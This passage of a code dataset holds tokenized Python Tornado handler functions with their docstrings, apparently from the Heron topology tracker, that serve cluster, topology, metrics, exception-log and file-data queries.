{"signature": "def get_argument_component(self):", "body": "try:<EOL><INDENT>component = self.get_argument(constants.PARAM_COMPONENT)<EOL>return component<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get component argument.\nRaises exception if argument is missing.\nReturns the component argument.", "id": "f7329:c0:m12"}
{"signature": "def get_argument_instance(self):", "body": "try:<EOL><INDENT>instance = self.get_argument(constants.PARAM_INSTANCE)<EOL>return instance<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get instance argument.\nRaises exception if argument is missing.\nReturns the instance argument.", "id": "f7329:c0:m13"}
{"signature": "def get_argument_starttime(self):", "body": "try:<EOL><INDENT>starttime = self.get_argument(constants.PARAM_STARTTIME)<EOL>return starttime<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get starttime argument.\nRaises exception if argument is missing.\nReturns the starttime argument.", "id": "f7329:c0:m14"}
{"signature": "def get_argument_endtime(self):", "body": "try:<EOL><INDENT>endtime = self.get_argument(constants.PARAM_ENDTIME)<EOL>return endtime<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get endtime argument.\nRaises exception if argument is missing.\nReturns the endtime argument.", "id": "f7329:c0:m15"}
{"signature": "def get_argument_query(self):", "body": "try:<EOL><INDENT>query = self.get_argument(constants.PARAM_QUERY)<EOL>return query<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get query argument.\nRaises exception if argument is missing.\nReturns the query argument.", "id": "f7329:c0:m16"}
{"signature": "def get_argument_offset(self):", "body": "try:<EOL><INDENT>offset = self.get_argument(constants.PARAM_OFFSET)<EOL>return offset<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get offset argument.\nRaises exception if argument is missing.\nReturns the offset argument.", "id": "f7329:c0:m17"}
{"signature": "def get_argument_length(self):", "body": "try:<EOL><INDENT>length = self.get_argument(constants.PARAM_LENGTH)<EOL>return length<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get length argument.\nRaises exception if argument is missing.\nReturns the length argument.", "id": "f7329:c0:m18"}
{"signature": "def get_required_arguments_metricnames(self):", "body": "try:<EOL><INDENT>metricnames = self.get_arguments(constants.PARAM_METRICNAME)<EOL>if not metricnames:<EOL><INDENT>raise tornado.web.MissingArgumentError(constants.PARAM_METRICNAME)<EOL><DEDENT>return metricnames<EOL><DEDENT>except tornado.web.MissingArgumentError as e:<EOL><INDENT>raise Exception(e.log_message)<EOL><DEDENT>", "docstring": "Helper function to get metricname arguments.\nNotice that it is get_argument\"s\" variation, which means that this can be repeated.\nRaises exception if argument is missing.\nReturns a list of metricname arguments", "id": "f7329:c0:m19"}
{"signature": "def validateInterval(self, startTime, endTime):", "body": "start = int(startTime)<EOL>end = int(endTime)<EOL>if start > end:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Helper function to validate interval.\nAn interval is valid if starttime and endtime are integrals,\nand starttime is less than the endtime.\nRaises exception if interval is not valid.", "id": "f7329:c0:m20"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7330:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>container = self.get_argument(constants.PARAM_CONTAINER)<EOL>path = self.get_argument(constants.PARAM_PATH)<EOL>offset = self.get_argument_offset()<EOL>length = self.get_argument_length()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>stmgr_id = \"<STR_LIT>\" + container<EOL>stmgr = topology_info[\"<STR_LIT>\"][\"<STR_LIT>\"][stmgr_id]<EOL>host = stmgr[\"<STR_LIT:host>\"]<EOL>shell_port = stmgr[\"<STR_LIT>\"]<EOL>file_data_url = \"<STR_LIT>\" %(host, shell_port, path, offset, length)<EOL>http_client = tornado.httpclient.AsyncHTTPClient()<EOL>response = yield http_client.fetch(file_data_url)<EOL>self.write_success_response(json.loads(response.body))<EOL>self.finish()<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7330:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7330:c1:m0"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7330:c2:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>container = self.get_argument(constants.PARAM_CONTAINER)<EOL>path = self.get_argument(constants.PARAM_PATH, default=\"<STR_LIT:.>\")<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>stmgr_id = \"<STR_LIT>\" + str(container)<EOL>stmgr = topology_info[\"<STR_LIT>\"][\"<STR_LIT>\"][stmgr_id]<EOL>host = stmgr[\"<STR_LIT:host>\"]<EOL>shell_port = stmgr[\"<STR_LIT>\"]<EOL>filestats_url = utils.make_shell_filestats_url(host, shell_port, path)<EOL>http_client = tornado.httpclient.AsyncHTTPClient()<EOL>response = yield http_client.fetch(filestats_url)<EOL>self.write_success_response(json.loads(response.body))<EOL>self.finish()<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7330:c2:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7331:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>config = topology_info[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>self.write_success_response(config)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7331:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7332:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def getStmgrsRegSummary(self, tmaster, callback=None):<DEDENT>", "body": "if not tmaster or not tmaster.host or not tmaster.stats_port:<EOL><INDENT>return<EOL><DEDENT>reg_request = tmaster_pb2.StmgrsRegistrationSummaryRequest()<EOL>request_str = reg_request.SerializeToString()<EOL>port = str(tmaster.stats_port)<EOL>host = tmaster.host<EOL>url = \"<STR_LIT>\".format(host, port)<EOL>request = tornado.httpclient.HTTPRequest(url,<EOL>body=request_str,<EOL>method='<STR_LIT:POST>',<EOL>request_timeout=<NUM_LIT:5>)<EOL>Log.debug('<STR_LIT>', url)<EOL>try:<EOL><INDENT>client = tornado.httpclient.AsyncHTTPClient()<EOL>result = yield client.fetch(request)<EOL>Log.debug(\"<STR_LIT>\")<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>responseCode = result.code<EOL>if responseCode >= <NUM_LIT>:<EOL><INDENT>message = \"<STR_LIT>\" + responseCode<EOL>Log.error(message)<EOL>raise tornado.gen.Return({<EOL>\"<STR_LIT:message>\": message<EOL>})<EOL><DEDENT>reg_response = tmaster_pb2.StmgrsRegistrationSummaryResponse()<EOL>reg_response.ParseFromString(result.body)<EOL>ret = {}<EOL>for stmgr in reg_response.registered_stmgrs:<EOL><INDENT>ret[stmgr] = True<EOL><DEDENT>for stmgr in reg_response.absent_stmgrs:<EOL><INDENT>ret[stmgr] = False<EOL><DEDENT>raise tornado.gen.Return(ret)<EOL>", "docstring": "Get summary of stream managers registration summary", "id": "f7332:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>runtime_state = topology_info[\"<STR_LIT>\"]<EOL>runtime_state[\"<STR_LIT>\"] = topology_info[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>topology = self.tracker.getTopologyByClusterRoleEnvironAndName(<EOL>cluster, role, environ, topology_name)<EOL>reg_summary = yield tornado.gen.Task(self.getStmgrsRegSummary, topology.tmaster)<EOL>for stmgr, reg in reg_summary.items():<EOL><INDENT>runtime_state[\"<STR_LIT>\"].setdefault(stmgr, {})[\"<STR_LIT>\"] = reg<EOL><DEDENT>self.write_success_response(runtime_state)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7332:c0:m2"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7333:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>component = self.get_argument_component()<EOL>metric_names = self.get_required_arguments_metricnames()<EOL>topology = self.tracker.getTopologyByClusterRoleEnvironAndName(<EOL>cluster, role, environ, topology_name)<EOL>interval = int(self.get_argument(constants.PARAM_INTERVAL, default=-<NUM_LIT:1>))<EOL>instances = self.get_arguments(constants.PARAM_INSTANCE)<EOL>metrics = yield tornado.gen.Task(<EOL>self.getComponentMetrics,<EOL>topology.tmaster, component, metric_names, instances, interval)<EOL>self.write_success_response(metrics)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7333:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def getComponentMetrics(self,<EOL>tmaster,<EOL>componentName,<EOL>metricNames,<EOL>instances,<EOL>interval,<EOL>callback=None):<DEDENT>", "body": "if not tmaster or not tmaster.host or not tmaster.stats_port:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>host = tmaster.host<EOL>port = tmaster.stats_port<EOL>metricRequest = tmaster_pb2.MetricRequest()<EOL>metricRequest.component_name = componentName<EOL>if len(instances) > <NUM_LIT:0>:<EOL><INDENT>for instance in instances:<EOL><INDENT>metricRequest.instance_id.append(instance)<EOL><DEDENT><DEDENT>for metricName in metricNames:<EOL><INDENT>metricRequest.metric.append(metricName)<EOL><DEDENT>metricRequest.interval = interval<EOL>metricRequestString = metricRequest.SerializeToString()<EOL>url = \"<STR_LIT>\".format(host, port)<EOL>request = tornado.httpclient.HTTPRequest(url,<EOL>body=metricRequestString,<EOL>method='<STR_LIT:POST>',<EOL>request_timeout=<NUM_LIT:5>)<EOL>Log.debug(\"<STR_LIT>\")<EOL>Log.debug(\"<STR_LIT>\" + url)<EOL>try:<EOL><INDENT>client = tornado.httpclient.AsyncHTTPClient()<EOL>result = yield client.fetch(request)<EOL>Log.debug(\"<STR_LIT>\")<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>responseCode = result.code<EOL>if responseCode >= <NUM_LIT>:<EOL><INDENT>message = \"<STR_LIT>\" + responseCode<EOL>Log.error(message)<EOL>raise Exception(message)<EOL><DEDENT>metricResponse = tmaster_pb2.MetricResponse()<EOL>metricResponse.ParseFromString(result.body)<EOL>if metricResponse.status.status == common_pb2.NOTOK:<EOL><INDENT>if metricResponse.status.HasField(\"<STR_LIT:message>\"):<EOL><INDENT>Log.warn(\"<STR_LIT>\", metricResponse.status.message)<EOL><DEDENT><DEDENT>ret = {}<EOL>ret[\"<STR_LIT>\"] = metricResponse.interval<EOL>ret[\"<STR_LIT>\"] = componentName<EOL>ret[\"<STR_LIT>\"] = {}<EOL>for metric in metricResponse.metric:<EOL><INDENT>instance = metric.instance_id<EOL>for im in metric.metric:<EOL><INDENT>metricname = im.name<EOL>value = im.value<EOL>if metricname not in ret[\"<STR_LIT>\"]:<EOL><INDENT>ret[\"<STR_LIT>\"][metricname] = {}<EOL><DEDENT>ret[\"<STR_LIT>\"][metricname][instance] = value<EOL><DEDENT><DEDENT>raise tornado.gen.Return(ret)<EOL>", "docstring": "Get the specified metrics for the given component name of this topology.\nReturns the following dict on success:\n{\n  \"metrics\": {\n    <metricname>: {\n      <instance>: <numeric value>,\n      <instance>: <numeric value>,\n      ...\n    }, ...\n  },\n  \"interval\": <numeric value>,\n  \"component\": \"...\"\n}\n\nRaises exception on failure.", "id": "f7333:c0:m2"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7334:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "clusters = [statemgr.name for statemgr in self.tracker.state_managers]<EOL>self.write_success_response(clusters)<EOL>", "docstring": "get method", "id": "f7334:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7335:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "clusters = self.get_arguments(constants.PARAM_CLUSTER)<EOL>environs = self.get_arguments(constants.PARAM_ENVIRON)<EOL>topology_names = self.get_arguments(constants.PARAM_TOPOLOGY)<EOL>ret = {}<EOL>if len(topology_names) > <NUM_LIT:1>:<EOL><INDENT>if not clusters:<EOL><INDENT>message = \"<STR_LIT>\" + constants.PARAM_CLUSTER<EOL>self.write_error_response(message)<EOL>return<EOL><DEDENT>if not environs:<EOL><INDENT>message = \"<STR_LIT>\" + constants.PARAM_ENVIRON<EOL>self.write_error_response(message)<EOL>return<EOL><DEDENT><DEDENT>ret = {}<EOL>topologies = self.tracker.topologies<EOL>for topology in topologies:<EOL><INDENT>cluster = topology.cluster<EOL>environ = topology.environ<EOL>topology_name = topology.name<EOL>if not cluster or not environ:<EOL><INDENT>continue<EOL><DEDENT>if clusters and cluster not in clusters:<EOL><INDENT>continue<EOL><DEDENT>if environs and environ not in environs:<EOL><INDENT>continue<EOL><DEDENT>if topology_names and topology_name not in topology_names:<EOL><INDENT>continue<EOL><DEDENT>if cluster not in ret:<EOL><INDENT>ret[cluster] = {}<EOL><DEDENT>if environ not in ret[cluster]:<EOL><INDENT>ret[cluster][environ] = {}<EOL><DEDENT>ret[cluster][environ][topology_name] = topology.get_machines()<EOL><DEDENT>self.write_success_response(ret)<EOL>", "docstring": "get method", "id": "f7335:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self, url):<DEDENT>", "body": "self.write_error_response(\"<STR_LIT>\" + url)<EOL>", "docstring": "get method", "id": "f7336:c0:m0"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7337:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>component = self.get_argument_component()<EOL>metric_names = self.get_required_arguments_metricnames()<EOL>start_time = self.get_argument_starttime()<EOL>end_time = self.get_argument_endtime()<EOL>self.validateInterval(start_time, end_time)<EOL>instances = self.get_arguments(constants.PARAM_INSTANCE)<EOL>topology = self.tracker.getTopologyByClusterRoleEnvironAndName(<EOL>cluster, role, environ, topology_name)<EOL>metrics = yield tornado.gen.Task(metricstimeline.getMetricsTimeline,<EOL>topology.tmaster, component, metric_names,<EOL>instances, int(start_time), int(end_time))<EOL>self.write_success_response(metrics)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7337:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7338:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>execution_state = topology_info[\"<STR_LIT>\"]<EOL>self.write_success_response(execution_state)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7338:c0:m1"}
{"signature": "def get(self):", "body": "self.redirect(\"<STR_LIT>\")<EOL>", "docstring": "get method", "id": "f7339:c0:m0"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7340:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>self.write_success_response(topology_info)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7340:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7342:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>packing_plan = topology_info[\"<STR_LIT>\"]<EOL>self.write_success_response(packing_plan)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7342:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7343:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>instance = self.get_argument_instance()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>ret = yield self.runInstanceJmap(topology_info, instance)<EOL>self.write_success_response(ret)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7343:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def runInstanceJmap(self, topology_info, instance_id):<DEDENT>", "body": "pid_response = yield getInstancePid(topology_info, instance_id)<EOL>try:<EOL><INDENT>http_client = tornado.httpclient.AsyncHTTPClient()<EOL>pid_json = json.loads(pid_response)<EOL>pid = pid_json['<STR_LIT>'].strip()<EOL>if pid == '<STR_LIT>':<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>endpoint = utils.make_shell_endpoint(topology_info, instance_id)<EOL>url = \"<STR_LIT>\" % (endpoint, pid)<EOL>response = yield http_client.fetch(url)<EOL>Log.debug(\"<STR_LIT>\", url)<EOL>raise tornado.gen.Return(response.body)<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>", "docstring": "Fetches Instance jstack from heron-shell.", "id": "f7343:c0:m2"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7344:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>environ = self.get_argument_environ()<EOL>role = self.get_argument_role()<EOL>topName = self.get_argument_topology()<EOL>component = self.get_argument_component()<EOL>topology = self.tracker.getTopologyByClusterRoleEnvironAndName(<EOL>cluster, role, environ, topName)<EOL>instances = self.get_arguments(constants.PARAM_INSTANCE)<EOL>exceptions_logs = yield tornado.gen.Task(self.getComponentException,<EOL>topology.tmaster, component, instances)<EOL>self.write_success_response(exceptions_logs)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7344:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def getComponentException(self, tmaster, component_name, instances=[], callback=None):<DEDENT>", "body": "if not tmaster or not tmaster.host or not tmaster.stats_port:<EOL><INDENT>return<EOL><DEDENT>exception_request = tmaster_pb2.ExceptionLogRequest()<EOL>exception_request.component_name = component_name<EOL>if len(instances) > <NUM_LIT:0>:<EOL><INDENT>exception_request.instances.extend(instances)<EOL><DEDENT>request_str = exception_request.SerializeToString()<EOL>port = str(tmaster.stats_port)<EOL>host = tmaster.host<EOL>url = \"<STR_LIT>\".format(host, port)<EOL>request = tornado.httpclient.HTTPRequest(url,<EOL>body=request_str,<EOL>method='<STR_LIT:POST>',<EOL>request_timeout=<NUM_LIT:5>)<EOL>Log.debug('<STR_LIT>', url)<EOL>try:<EOL><INDENT>client = tornado.httpclient.AsyncHTTPClient()<EOL>result = yield client.fetch(request)<EOL>Log.debug(\"<STR_LIT>\")<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>responseCode = result.code<EOL>if responseCode >= <NUM_LIT>:<EOL><INDENT>message = \"<STR_LIT>\" + responseCode<EOL>Log.error(message)<EOL>raise tornado.gen.Return({<EOL>\"<STR_LIT:message>\": message<EOL>})<EOL><DEDENT>exception_response = tmaster_pb2.ExceptionLogResponse()<EOL>exception_response.ParseFromString(result.body)<EOL>if exception_response.status.status == common_pb2.NOTOK:<EOL><INDENT>if exception_response.status.HasField(\"<STR_LIT:message>\"):<EOL><INDENT>raise tornado.gen.Return({<EOL>\"<STR_LIT:message>\": exception_response.status.message<EOL>})<EOL><DEDENT><DEDENT>ret = []<EOL>for exception_log in exception_response.exceptions:<EOL><INDENT>ret.append({'<STR_LIT>': exception_log.hostname,<EOL>'<STR_LIT>': exception_log.instance_id,<EOL>'<STR_LIT>': exception_log.stacktrace,<EOL>'<STR_LIT>': exception_log.lasttime,<EOL>'<STR_LIT>': exception_log.firsttime,<EOL>'<STR_LIT:count>': str(exception_log.count),<EOL>'<STR_LIT>': exception_log.logging})<EOL><DEDENT>raise tornado.gen.Return(ret)<EOL>", "docstring": "Get all (last 1000) exceptions for 'component_name' of the topology.\nReturns an Array of exception logs on success.\nReturns json with message on failure.", "id": "f7344:c0:m2"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7345:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "<EOL>clusters = self.get_arguments(constants.PARAM_CLUSTER)<EOL>environs = self.get_arguments(constants.PARAM_ENVIRON)<EOL>role = self.get_argument_role()<EOL>ret = {}<EOL>topologies = self.tracker.topologies<EOL>for topology in topologies:<EOL><INDENT>cluster = topology.cluster<EOL>environ = topology.environ<EOL>if not cluster or not environ:<EOL><INDENT>continue<EOL><DEDENT>if clusters and cluster not in clusters:<EOL><INDENT>continue<EOL><DEDENT>if environs and environ not in environs:<EOL><INDENT>continue<EOL><DEDENT>if cluster not in ret:<EOL><INDENT>ret[cluster] = {}<EOL><DEDENT>if environ not in ret[cluster]:<EOL><INDENT>ret[cluster][environ] = {}<EOL><DEDENT>try:<EOL><INDENT>topology_info = self.tracker.getTopologyInfo(topology.name, cluster, role, environ)<EOL>if topology_info and \"<STR_LIT>\" in topology_info:<EOL><INDENT>ret[cluster][environ][topology.name] = topology_info[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>self.write_success_response(ret)<EOL>", "docstring": "get method", "id": "f7345:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7346:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>scheduler_location = topology_info[\"<STR_LIT>\"]<EOL>self.write_success_response(scheduler_location)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7346:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7347:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>instance = self.get_argument_instance()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>ret = yield self.getInstanceMemoryHistogram(topology_info, instance)<EOL>self.write_success_response(ret)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7347:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def getInstanceMemoryHistogram(self, topology_info, instance_id):<DEDENT>", "body": "pid_response = yield getInstancePid(topology_info, instance_id)<EOL>try:<EOL><INDENT>http_client = tornado.httpclient.AsyncHTTPClient()<EOL>pid_json = json.loads(pid_response)<EOL>pid = pid_json['<STR_LIT>'].strip()<EOL>if pid == '<STR_LIT>':<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>endpoint = utils.make_shell_endpoint(topology_info, instance_id)<EOL>url = \"<STR_LIT>\" % (endpoint, pid)<EOL>response = yield http_client.fetch(url)<EOL>Log.debug(\"<STR_LIT>\", url)<EOL>raise tornado.gen.Return(response.body)<EOL><DEDENT>except tornado.httpclient.HTTPError as e:<EOL><INDENT>raise Exception(str(e))<EOL><DEDENT>", "docstring": "Fetches Instance top memory item as histogram.", "id": "f7347:c0:m2"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7348:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "try:<EOL><INDENT>cluster = self.get_argument_cluster()<EOL>role = self.get_argument_role()<EOL>environ = self.get_argument_environ()<EOL>topology_name = self.get_argument_topology()<EOL>topology_info = self.tracker.getTopologyInfo(topology_name, cluster, role, environ)<EOL>metadata = topology_info[\"<STR_LIT>\"]<EOL>self.write_success_response(metadata)<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>Log.debug(traceback.format_exc())<EOL>self.write_error_response(e)<EOL><DEDENT>", "docstring": "get method", "id": "f7348:c0:m1"}
{"signature": "def initialize(self, tracker):", "body": "self.tracker = tracker<EOL>", "docstring": "initialize", "id": "f7349:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "<EOL>clusters = self.get_arguments(constants.PARAM_CLUSTER)<EOL>environs = self.get_arguments(constants.PARAM_ENVIRON)<EOL>role = self.get_argument_role()<EOL>ret = {}<EOL>topologies = self.tracker.topologies<EOL>for topology in topologies:<EOL><INDENT>cluster = topology.cluster<EOL>environ = topology.environ<EOL>execution_state = topology.execution_state<EOL>if not cluster or not execution_state or not environ:<EOL><INDENT>continue<EOL><DEDENT>topo_role = execution_state.role<EOL>if not topo_role:<EOL><INDENT>continue<EOL><DEDENT>if clusters and cluster not in clusters:<EOL><INDENT>continue<EOL><DEDENT>if environs and environ not in environs:<EOL><INDENT>continue<EOL><DEDENT>if role and role != topo_role:<EOL><INDENT>continue<EOL><DEDENT>if cluster not in ret:<EOL><INDENT>ret[cluster] = {}<EOL><DEDENT>if topo_role not in ret[cluster]:<EOL><INDENT>ret[cluster][topo_role] = 